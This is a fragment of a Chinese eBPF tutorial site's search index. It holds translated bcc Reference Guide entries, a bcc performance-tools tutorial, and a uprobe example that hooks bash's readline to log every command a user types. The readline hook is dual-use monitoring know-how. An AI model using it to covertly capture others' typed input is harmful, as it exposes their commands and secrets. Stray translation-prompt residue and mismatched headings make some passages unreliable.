uprobe适用于在用户态去解析一些内核态探针无法解析的流量，例如http2流量（报文header被编码，内核无法解码），https流量（加密流量，内核无法解密）。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 什么是uprobe","id":"34","title":"什么是uprobe"},"340":{"body":"语法: table.values() 返回一个表中的值数组。","breadcrumbs":"bcc Reference Guide » 4. values()","id":"340","title":"4. values()"},"341":{"body":"语法: table.clear() 清除表：删除所有条目。 示例: # 每秒打印映射摘要：\nwhile True: time.sleep(1) print(\"%-8s\\n\" % time.strftime(\"%H:%M:%S\"), end=\"\") dist.print_log2_hist(sym + \" return:\") dist.clear() 在此处的示例中: search /examples , search /tools 。","breadcrumbs":"bcc Reference Guide » 5. clear()","id":"341","title":"5. clear()"},"342":{"body":"语法: table.items_lookup_and_delete_batch()。返回一个使用一次BPF系统调用在表中的键的数组。可以与BPF_HASH映射一起使用以获取和迭代键。还会清除表：删除所有条目。 您应该使用table.items_lookup_and_delete_batch()而不是table.items()后跟table.clear()。它需要内核v5.6。 示例: # 每秒打印调用率:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter)) sleep(1)","breadcrumbs":"bcc Reference Guide » 6. items_lookup_and_delete_batch()","id":"342","title":"6. items_lookup_and_delete_batch()"},"343":{"body":"语法: table.items_lookup_batch() 使用一次BPF系统调用返回表中的键数组。可以与BPF_HASH映射一起使用以获取和迭代键。 您应该使用table.items_lookup_batch()而不是table.items()。它需要内核v5.6。 示例: # 打印映射的当前值:\nprint(\"%9s-%9s-%8s-%9s\" % (\"PID\", \"COMM\", \"fname\", \"counter\"))\nwhile True: for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): print(\"%9s-%9s-%8s-%9d\" % (k.pid, k.comm, k.fname, v.counter))","breadcrumbs":"bcc Reference Guide » 7. items_lookup_batch()","id":"343","title":"7. items_lookup_batch()"},"344":{"body":"语法: table.items_delete_batch(keys) 当keys为None时，它会清除BPF_HASH映射的所有条目。它比table.clear()更有效，因为它只生成一个系统调用。您可以通过给出一个键数组来删除映射的一个子集。这些键及其关联值将被删除。它需要内核v5.6。 参数: keys是可选的，默认为None。","breadcrumbs":"bcc Reference Guide » 8. items_delete_batch()","id":"344","title":"8. items_delete_batch()"},"345":{"body":"语法: table.items_update_batch(keys, values) 使用新值更新所有提供的键。两个参数必须具有相同的长度并且在映射限制之内（在1到最大条目之间）。它需要内核v5.6。 参数: keys是要更新的键列表 values是包含新值的列表。### 10. print_log2_hist() 语法: table.print_log2_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) 以ASCII的形式打印一个表格作为log2直方图。该表必须以log2的形式存储，可使用BPF函数bpf_log2l()完成。 参数: val_type: 可选，列标题。 section_header: 如果直方图有一个辅助键，多个表格将被打印，并且section_header可以用作每个表格的标题描述。 section_print_fn: 如果section_print_fn不为None，则将传递给bucket值。 示例: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_log2_hist(\"kbytes\") 输出: kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| 这个输出显示了一个多模式分布，最大模式是128->255 kbytes，计数为800。 这是一种高效的数据概括方法，因为概括是在内核中执行的，只有计数列被传递到用户空间。 实际示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 9. items_update_batch()","id":"345","title":"9. items_update_batch()"},"346":{"body":"以ASCII字符形式打印一个线性直方图的表格。此功能旨在可视化小的整数范围，例如0到100。 参数: val_type: 可选，列标题。 section_header: 如果直方图有一个二级键，则会打印多个表格，并且section_header可以用作每个表格的头部描述。 section_print_fn: 如果section_print_fn不为None，则会将bucket的值传递给它。 示例: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(req->__data_len / 1024); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_linear_hist(\"kbytes\") 输出: kbytes : count distribution 0 : 3 |****** | 1 : 0 | | 2 : 0 | | 3 : 0 | | 4 : 19 |****************************************| 5 : 0 | | 6 : 0 | | 7 : 0 | | 8 : 4 |******** | 9 : 0 | | 10 : 0 | | 11 : 0 | | 12 : 0 | | 13 : 0 | | 14 : 0 | | 15 : 0 | |。\n```### 16 : 2 |**** |\n[...] 这是一种高效的数据汇总方式，因为汇总是在内核中执行的，只有计数列中的值传递到用户空间。 现场示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None)","id":"346","title":"11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None)"},"347":{"body":"语法: table.open_ring_buffer(callback, ctx=None) 此操作用于在BPF中定义为BPF_RINGBUF_OUTPUT()的表，并将Python回调函数callback与ringbuf环形缓冲区中有可用数据时调用相连。这是从内核向用户空间传输每个事件数据的新（Linux 5.8+）推荐机制的一部分。不同于perf缓冲区，ringbuf大小在BPF程序中指定，作为BPF_RINGBUF_OUTPUT宏的一部分。如果回调函数处理数据不够快，可能会丢失一些提交的数据。在这种情况下，事件应该更频繁地进行轮询和/或增加环形缓冲区的大小。 示例: # 处理事件\ndef print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # 循环并使用print_event回调函数\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll() except KeyboardInterrupt: exit() 请注意，在BPF程序中，传输的数据结构需要在C中声明。例如: // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_RINGBUF_OUTPUT(events, 8);\n[...] 在Python中，您可以让bcc自动从C的声明中生成数据结构（推荐）: def print_event(ctx, data, size): event = b[\"events\"].event(data)\n[...] 或者手动定义: TASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] 在原地的示例: 在/examples中搜索 ,","breadcrumbs":"bcc Reference Guide » 12. open_ring_buffer()","id":"347","title":"12. open_ring_buffer()"},"348":{"body":"语法: table.push(leaf, flags=0) 将元素推入堆栈或队列表。如果操作不成功，会引发异常。传递QueueStack.BPF_EXIST作为标志会使队列或堆栈丢弃最旧的元素，如果表已满。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 13. push()","id":"348","title":"13. push()"},"349":{"body":"语法: leaf = table.pop() 从堆栈或队列表中弹出一个元素。与peek()不同，pop()在返回元素之前会将其从表中移除。如果操作不成功，会引发KeyError异常。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 14. pop()","id":"349","title":"14. pop()"},"35":{"body":"uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针，我们可以通过它来捕获用户空间程序调用的系统函数。 例如，我们可以使用 uprobe 来捕获 bash 的 readline 函数调用，从而获取用户在 bash 中输入的命令行。示例代码如下： #include \n#include \n#include  #define TASK_COMM_LEN 16\n#define MAX_LINE_SIZE 80 /* Format of u[ret]probe section definition supporting auto-attach: * u[ret]probe/binary:function[+offset] * * binary can be an absolute/relative path or a filename; the latter is resolved to a * full binary path via bpf_program__attach_uprobe_opts. * * Specifying uprobe+ ensures we carry out strict matching; either \"uprobe\" must be * specified (and auto-attach is not possible) or the above format is specified for * auto-attach. */\nSEC(\"uretprobe//bin/bash:readline\")\nint BPF_KRETPROBE(printret, const void *ret)\n{ char str[MAX_LINE_SIZE]; char comm[TASK_COMM_LEN]; u32 pid; if (!ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); return 0;\n}; char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数，即 printret 函数。 在 printret 函数中，我们首先获取了调用 readline 函数的进程的进程名称和进程 ID，然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串，最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 除此之外，我们还需要通过 SEC 宏来定义 uprobe 探针，并使用 BPF_KRETPROBE 宏来定义探针函数。 在 SEC 宏中，我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如，上面的代码中的 SEC 宏的定义如下： SEC(\"uprobe//bin/bash:readline\") 这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 接下来，我们需要使用 BPF_KRETPROBE 宏来定义探针函数，例如： BPF_KRETPROBE(printret, const void *ret) 这里的 printret 是探针函数的名称，const void *ret 是探针函数的参数，它代表被捕获的函数的返回值。 然后，我们使用了 bpf_get_current_comm 函数获取当前任务的名称，并将其存储在 comm 数组中。 bpf_get_current_comm(&comm, sizeof(comm)); 使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID，并将其存储在 pid 变量中。 pid = bpf_get_current_pid_tgid() >> 32; 使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值，并将其存储在 str 数组中。 bpf_probe_read_user_str(str, sizeof(str), ret); 最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc bashreadline.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff 可以看到，我们成功的捕获了 bash 的 readline 函数调用，并获取了用户在 bash 中输入的命令行。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 使用 uprobe 捕获 bash 的 readline 函数调用","id":"35","title":"使用 uprobe 捕获 bash 的 readline 函数调用"},"350":{"body":"语法: leaf = table.peek() 查看堆栈或队列表头部的元素。与pop()不同，peek()不会将元素从表中移除。如果操作不成功，会引发异常。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 15. peek()","id":"350","title":"15. peek()"},"351":{"body":"一些由bcc提供的辅助方法。请注意，因为我们在Python中，我们可以导入任何Python库及其方法，包括例如argparse、collections、ctypes、datetime、re、socket、struct、subprocess、sys和time等库。","breadcrumbs":"bcc Reference Guide » 辅助方法","id":"351","title":"辅助方法"},"352":{"body":"语法: BPF.ksym(addr) 将内核内存地址转换为内核函数名称，并返回该名称。 示例: 格式: 只返回转换后的内容，不包括原始文本。```markdown\nprint(\"内核函数：\" + b.ksym(addr)) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. ksym()","id":"352","title":"1. ksym()"},"353":{"body":"语法：BPF.ksymname(name) 将内核名称翻译为地址。这是ksym的反向过程。当函数名称未知时，返回-1。 例子： print(\"内核地址：%x\" % b.ksymname(\"vfs_read\")) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 2. ksymname()","id":"353","title":"2. ksymname()"},"354":{"body":"语法：BPF.sym(addr, pid, show_module=False, show_offset=False) 将内存地址翻译为pid的函数名称，并返回。小于零的pid将访问内核符号缓存。show_module和show_offset参数控制是否显示函数所在的模块以及是否显示从符号开头的指令偏移量。这些额外参数的默认值为False。 例子： print(\"函数：\" + b.sym(addr, pid)) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 3. sym()","id":"354","title":"3. sym()"},"355":{"body":"语法：BPF.num_open_kprobes() 返回打开的k[ret]probe的数量。当使用event_re附加和分离探测点时，可以发挥作用。不包括perf_events读取器。 例子： b.attach_kprobe(event_re=pattern, fn_name=\"trace_count\")\nmatched = b.num_open_kprobes()\nif matched == 0: print(\"0个函数与\\\"%s\\\"匹配。程序退出。\" % args.pattern) exit() 例子：\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 4. num_open_kprobes()","id":"355","title":"4. num_open_kprobes()"},"356":{"body":"语法: BPF.get_syscall_fnname(name : str) 返回系统调用的相应内核函数名。该辅助函数将尝试不同的前缀，并与系统调用名连接起来。请注意，返回值可能在不同版本的Linux内核中有所不同，有时会引起问题。 （见 #2590 ） 示例: print(\"在内核中，%s 的函数名是 %s\" % (\"clone\", b.get_syscall_fnname(\"clone\")))\n# sys_clone 或 __x64_sys_clone 或 ... 现场示例: 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 5. get_syscall_fnname()","id":"356","title":"5. get_syscall_fnname()"},"357":{"body":"请参阅内核源码中的“Understanding eBPF verifier messages”部分，位于 Documentation/networking/filter.txt。","breadcrumbs":"bcc Reference Guide » BPF 错误","id":"357","title":"BPF 错误"},"358":{"body":"这可能是因为试图直接读取内存，而不是操作BPF堆栈上的内存。所有对内核内存的读取必须通过 bpf_probe_read_kernel() 传递，以将内核内存复制到BPF堆栈中，在一些简单关联的情况下，bcc 重写器可以自动完成。bpf_probe_read_kernel() 执行所有必要的检查。 示例: bpf: Permission denied\n0: (bf) r6 = r1\n1: (79) r7 = *(u64 *)(r6 +80)\n2: (85) call 14\n3: (bf) r8 = r0\n[...]\n23: (69) r1 = *(u16 *)(r7 +16)\nR7 invalid mem access 'inv' Traceback (most recent call last): File \"./tcpaccept\", line 179, in  b = BPF(text=bpf_text) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 172, in __init__ self._trace_autoload()\".\n/usr/lib/python2.7/dist-packages/bcc/__init__.py\"，第 612 行，_trace_autoload 中： fn = self.load_func(func_name, BPF.KPROBE) 文件 \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\"，第 212 行，load_func 中： raise Exception(\"加载 BPF 程序 %s 失败\" % func_name)\nException: 加载 BPF 程序 kretprobe__inet_csk_accept 失败","breadcrumbs":"bcc Reference Guide » 1. Invalid mem access","id":"358","title":"1. Invalid mem access"},"359":{"body":"当非 GPL BPF 程序调用 GPL-only 辅助函数时，会出现此错误。要修复此错误，请勿在专有 BPF 程序中使用 GPL-only 辅助函数，或者将 BPF 程序重新授权为 GPL-compatible 许可证。请查看哪些 BPF helpers 是 GPL-only 的，并且哪些许可证被视为 GPL-compatible。 示例，从专有程序（#define BPF_LICENSE Proprietary）调用 bpf_get_stackid()，一种 GPL-only 的 BPF helper： bpf: 加载程序失败：无效参数\n[...]\n8: (85) 调用 bpf_get_stackid#27\n无法从专有程序调用 GPL-only 函数","breadcrumbs":"bcc Reference Guide » 2. 无法从专有程序调用 GPL-only 函数","id":"359","title":"2. 无法从专有程序调用 GPL-only 函数"},"36":{"body":"在上述代码中，我们使用了 SEC 宏来定义了一个 uprobe 探针，它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外，我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值，并将其打印到内核日志中。通过这样的方式，我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用，并获取用户在 bash 中输入的命令行。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 总结","id":"36","title":"总结"},"360":{"body":"","breadcrumbs":"bcc Reference Guide » 环境变量","id":"360","title":"环境变量"},"361":{"body":"eBPF 程序编译需要内核源代码或已编译的内核头。如果你的内核源代码位于无法被 BCC 找到的非标准位置，可以通过将 BCC_KERNEL_SOURCE 设置为该路径的绝对路径来为 BCC 提供所需的位置信息。","breadcrumbs":"bcc Reference Guide » 1. 内核源代码目录","id":"361","title":"1. 内核源代码目录"},"362":{"body":"默认情况下，BCC 将 LINUX_VERSION_CODE 存储在生成的 eBPF 对象中，并在加载 eBPF 程序时传递给内核。有时，这可能非常不方便，尤其是当内核略有更新时，比如 LTS 内核发布。微小的不匹配几乎不会导致加载的 eBPF 程序出现任何问题。通过将 BCC_LINUX_VERSION_CODE 设置为正在运行的内核版本，可以绕过验证内核版本的检查。这对于程序是必需的。使用kprobes的程序需要以(VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL的格式进行编码。例如，如果当前运行的内核是4.9.10，则可以设置export BCC_LINUX_VERSION_CODE=264458以成功地覆盖内核版本检查。","breadcrumbs":"bcc Reference Guide » 2. 内核版本覆盖","id":"362","title":"2. 内核版本覆盖"},"363":{"body":"某些工具具有特殊的过滤能力，主要用例是跟踪运行在容器中的进程，但这些机制是通用的，也可以在其他情况下使用。","breadcrumbs":"Special Filtering » 特殊过滤","id":"363","title":"特殊过滤"},"364":{"body":"某些工具有一个通过引用外部管理的固定的BPF哈希映射来按cgroup过滤的选项。 命令示例： # ./opensnoop --cgroupmap /sys/fs/bpf/test01\n# ./execsnoop --cgroupmap /sys/fs/bpf/test01\n# ./tcpconnect --cgroupmap /sys/fs/bpf/test01\n# ./tcpaccept --cgroupmap /sys/fs/bpf/test01\n# ./tcptracer --cgroupmap /sys/fs/bpf/test01 上述命令将仅显示属于一个或多个cgroup的进程的结果，这些cgroup的ID由bpf_get_current_cgroup_id()返回，并存在固定的BPF哈希映射中。 通过以下方式创建BPF哈希映射： # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \\ name cgroupset flags 0 要在新cgroup中获取一个shell，可以使用： # systemd-run --pty --unit test bash 该shell将在cgroup/sys/fs/cgroup/unified/system.slice/test.service中运行。 可以使用name_to_handle_at()系统调用来发现cgroup ID。在examples/cgroupid中，您可以找到一个获取cgroup ID的程序示例。 # cd examples/cgroupid\n# make\n# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 或者，使用Docker： # cd examples/cgroupid\n# docker build -t cgroupid .\n# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \\ cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 这将以主机的字节序(hexadecimal string)打印出cgroup ID，例如77 16 00 00 01 00 00 00。 # FILE=/sys/fs/bpf/test01\n# CGROUPID_HEX=\"77 16 00 00 01 00 00 00\"\n# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any 现在，通过systemd-run启动的shell的cgroup ID已经存在于BPF哈希映射中，bcc工具将显示来自该shell的结果。可以添加和。从BPF哈希映射中删除而不重新启动bcc工具。 这个功能对于将bcc工具集成到外部项目中非常有用。","breadcrumbs":"Special Filtering » 按 cgroups过滤","id":"364","title":"按 cgroups过滤"},"365":{"body":"BPF哈希映射可以通过以下方式创建： # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \\ name mnt_ns_set flags 0 仅执行execsnoop工具，过滤挂载命名空间在/sys/fs/bpf/mnt_ns_set中： # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set 在新的挂载命名空间中启动一个终端： # unshare -m bash 使用上述终端的挂载命名空间ID更新哈希映射： FILE=/sys/fs/bpf/mnt_ns_set\nif [ $(printf '\\1' | od -dAn) -eq 1 ]; then HOST_ENDIAN_CMD=tac\nelse HOST_ENDIAN_CMD=cat\nfi NS_ID_HEX=\"$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\\{2\\}/&\\n/g' | $HOST_ENDIAN_CMD)\"\nbpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any 在这个终端中执行命令： # ping kinvolk.io 你会看到在上述你启动的execsnoop终端中，这个调用被记录下来： # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set\n[sudo] password for mvb:\nPCOMM PID PPID RET ARGS\nping 8096 7970 0 /bin/ping kinvolk.io\n```。","breadcrumbs":"Special Filtering » 按命名空间选择挂载点进行过滤","id":"365","title":"按命名空间选择挂载点进行过滤"},"366":{"body":"本教程介绍如何使用 bcc 工具快速解决性能、故障排除和网络问题。如果你想开发新的bcc工具，请参考 tutorial_bcc_python_developer.md 教程。 本教程假设bcc已经安装好，并且你可以成功运行像execsnoop这样的工具。参见 INSTALL.md 。这些功能是在Linux 4.x系列中增加的。","breadcrumbs":"bcc Tutorial » bcc 教程","id":"366","title":"bcc 教程"},"367":{"body":"一些快速的收获。","breadcrumbs":"bcc Tutorial » 可观察性","id":"367","title":"可观察性"},"368":{"body":"在使用bcc之前，你应该从Linux基础知识开始。可以参考 Linux Performance Analysis in 60,000 Milliseconds 文章，其中介绍了以下命令： uptime dmesg | tail vmstat 1 mpstat -P ALL 1 pidstat 1 iostat -xz 1 free -m sar -n DEV 1 sar -n TCP,ETCP 1 top","breadcrumbs":"bcc Tutorial » 0. 使用bcc之前","id":"368","title":"0. 使用bcc之前"},"369":{"body":"这是一个用于性能调查的通用检查清单，首先有一个列表，然后详细描述： execsnoop opensnoop ext4slower（或btrfs*，xfs*，zfs*） biolatency biosnoop cachestat tcpconnect tcpaccept tcpretrans runqlat profile 这些工具可能已经安装在你的系统的/usr/share/bcc/tools目录下，或者你可以从bcc github仓库的/tools目录中运行它们，这些工具使用.py扩展名。浏览50多个可用的工具，获得更多的分析选项。 1.1 execsnoop # ./execsnoop\nPCOMM PID RET ARGS\nsupervise 9660 0 ./run\nsupervise 9661 0 ./run\nmkdir 9662 0 /bin/mkdir -p ./main\nrun 9663 0 ./run\n[...] execsnoop对于每个新进程打印一行输出。检查短生命周期的进程。这些进程可能会消耗CPU资源，但不会在大多数周期性运行的进程监控工具中显示出来。它通过跟踪exec()来工作，而不是fork()，所以它可以捕获许多类型的新进程，但不是所有类型（例如，它不会看到启动工作进程的应用程序，该应用程序没有exec()其他任何内容）。 更多 例子 。 1.2. opensnoop # ./opensnoop\nPID COMM FD ERR PATH\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1603 snmpd 9 0 /proc/net/dev\n1603 snmpd 11 0 /proc/net/if_inet6\n1603 snmpd -1 2 /sys/class/net/eth0/device/vendor\n1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding\n[...] opensnoop每次open() syscall执行时打印一行输出，包括详细信息。 打开的文件可以告诉你很多关于应用程序的工作方式的信息：它们的数据文件、配置文件和日志文件。有时候应用程序可能会表现不正常，当它们不断尝试读取不存在的文件时则会表现得很差。opensnoop能够快速帮助你查看。 更多 例子 。 1.3. ext4slower（或btrfs*，xfs*，zfs*） # ./ext4slower\n追踪超过10毫秒的ext4操作\n时间 进程 进程ID T 字节数 偏移KB 延迟(ms) 文件名\n06:35:01 cron 16464 R 1249 0 16.05 common-auth\n06:35:01 cron 16463 R 1249 0 16.04 common-auth\n06:35:01 cron 16465 R 1249 0 16.03 common-auth\n06:35:01 cron 16465 R 4096 0 10.62 login.defs\n06:35:01 cron 16464 R 4096 0 10.61 login.defs ext4slower跟踪ext4文件系统，并计时常见操作，然后只打印超过阈值的操作。这对于识别或证明一种性能问题非常方便：通过文件系统单独显示较慢的磁盘 I/O。磁盘以异步方式处理 I/O，很难将该层的延迟与应用程序所经历的延迟关联起来。在内核堆栈中更高层的追踪，即在 VFS -> 文件系统接口中，会更接近应用程序遭受的延迟。使用此工具来判断文件系统的延迟是否超过了给定的阈值。 在 bcc 中存在其他文件系统的类似工具：btrfsslower、xfsslower 和 zfsslower。还有一个名为 fileslower 的工具，它在 VFS 层工作并跟踪所有内容（尽管会有更高的开销）。 更多 示例 。 1.4. biolatency # ./biolatency\n跟踪块设备的 I/O... 按 Ctrl-C 结束。\n^C 微秒 : 数量 分布 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 12 |******** | 256 -> 511 : 15 |********** | 512 -> 1023 : 43 |******************************* | 1024 -> 2047 : 52 |**************************************| 2048 -> 4095 : 47 |********************************** | 4096 -> 8191 : 52 |**************************************| 8192 -> 16383 : 36 |************************** | 16384 -> 32767 : 15 |********** |。32768 -> 65535 : 2 |* | 65536 -> 131071 : 2 |* | biolatency跟踪磁盘I/O延迟（从设备执行到完成的时间），当工具结束（Ctrl-C，或给定的间隔）时，它会打印延迟的直方图摘要。 这对于了解超出iostat等工具提供的平均时间的磁盘I/O延迟非常有用。在分布的末尾将可见I/O延迟的异常值，以及多种模式的分布。 更多 示例 。 1.5. biosnoop # ./biosnoop\nTIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)\n0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74\n0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61\n0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24\n0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09\n1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98\n1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93\n[...] biosnoop为每个磁盘I/O打印一行输出，其中包括延迟（从设备执行到完成的时间）等详细信息。 这让您可以更详细地研究磁盘I/O，并寻找按时间排序的模式（例如，读取在写入后排队）。请注意，如果您的系统以高速率执行磁盘I/O，则输出将冗长。 更多 示例 。 1.6. cachestat # ./cachestat HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB 1074 44 13 94.9% 2.9% 1 223 2195 170 8 92.5% 6.8% 1 143 182 53 56 53.6% 1.3% 1 143 62480 40960 20480 40.6% 19.8% 1 223\"。\n格式：仅返回翻译后的内容，不包括原始文本。```\n7 2 5 22.2% 22.2% 1 223 348 0 0 100.0% 0.0% 1 223\n[...] cachestat 每秒（或每个自定义时间间隔）打印一行摘要，显示文件系统缓存的统计信息。 可以用它来识别低缓存命中率和高缺失率，这是性能调优的线索之一。 更多 示例 。 1.7. tcpconnect # ./tcpconnect\nPID COMM IP SADDR DADDR DPORT\n1479 telnet 4 127.0.0.1 127.0.0.1 23\n1469 curl 4 10.201.219.236 54.245.105.25 80\n1469 curl 4 10.201.219.236 54.67.101.145 80\n1991 telnet 6 ::1 ::1 23\n2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22\n[...] tcpconnect 每个活动的 TCP 连接（例如通过 connect()）打印一行输出，包括源地址和目标地址的详细信息。 寻找可能指向应用程序配置问题或入侵者的意外连接。 更多 示例 。 1.8. tcpaccept # ./tcpaccept\nPID COMM IP RADDR LADDR LPORT\n907 sshd 4 192.168.56.1 192.168.56.102 22\n907 sshd 4 127.0.0.1 127.0.0.1 22\n5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001\n[...] tcpaccept 每个被动的 TCP 连接（例如通过 accept()）打印一行输出，包括源地址和目标地址的详细信息。 寻找可能指向应用程序配置问题或入侵者的意外连接。 更多 示例 。 1.9. tcpretrans # ./tcpretrans\".\n```时间 PID IP LADDR:LPORT T> RADDR:RPORT 状态\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立\n01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 已建立\n[...] tcpretrans为每个TCP重传数据包打印一行输出，其中包括源地址、目的地址以及TCP连接的内核状态。 TCP重传会导致延迟和吞吐量问题。对于已建立的重传，可以查找与网络有关的模式。对于SYN_SENT，可能指向目标内核CPU饱和和内核数据包丢失。 更多 示例 。 1.10. runqlat # ./runqlat\n跟踪运行队列延迟... 按Ctrl-C结束。\n^C 微秒数 : 计数 分布 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* |\".16384 -> 32767 : 809 |****************************************|\n32768 -> 65535 : 64 |*** | 